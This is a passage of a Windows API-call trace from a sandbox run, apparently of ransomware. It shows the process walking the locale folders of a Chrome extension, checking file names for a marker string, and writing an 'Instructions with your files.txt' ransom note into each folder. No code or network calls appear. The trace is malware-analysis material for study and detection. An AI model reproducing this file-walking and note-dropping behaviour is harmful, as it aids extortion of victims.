[0129.344] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.344] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\.") returned 146
[0129.344] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.344] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\..") returned 147
[0129.344] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.344] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json") returned 158
[0129.344] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.344] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.344] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\Instructions with your files.txt") returned 177
[0129.344] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.345] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.346] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.346] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.346] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.347] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.347] CloseHandle (hObject=0x134) returned 1
[0129.347] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.347] GetProcessHeap () returned 0x810000
[0129.347] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.347] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
[0129.347] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr") returned 143
[0129.347] GetProcessHeap () returned 0x810000
[0129.347] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.347] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\*") returned 145
[0129.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.348] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\.") returned 145
[0129.348] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.348] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\..") returned 146
[0129.348] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.348] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json") returned 157
[0129.348] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.348] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.348] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\Instructions with your files.txt") returned 176
[0129.348] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.349] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.349] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.350] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.350] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.350] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.350] CloseHandle (hObject=0x134) returned 1
[0129.350] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.350] GetProcessHeap () returned 0x810000
[0129.350] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.350] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
[0129.350] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he") returned 143
[0129.350] GetProcessHeap () returned 0x810000
[0129.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.350] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\*") returned 145
[0129.350] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.350] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\.") returned 145
[0129.351] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.351] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\..") returned 146
[0129.351] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.351] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json") returned 157
[0129.351] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.351] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.351] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\Instructions with your files.txt") returned 176
[0129.351] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.351] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.352] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.352] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.352] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.352] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.352] CloseHandle (hObject=0x134) returned 1
[0129.352] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.352] GetProcessHeap () returned 0x810000
[0129.352] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.352] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
[0129.353] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi") returned 143
[0129.353] GetProcessHeap () returned 0x810000
[0129.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.353] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\*") returned 145
[0129.353] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.353] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\.") returned 145
[0129.353] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.354] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\..") returned 146
[0129.354] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.354] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json") returned 157
[0129.354] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.354] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.354] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\Instructions with your files.txt") returned 176
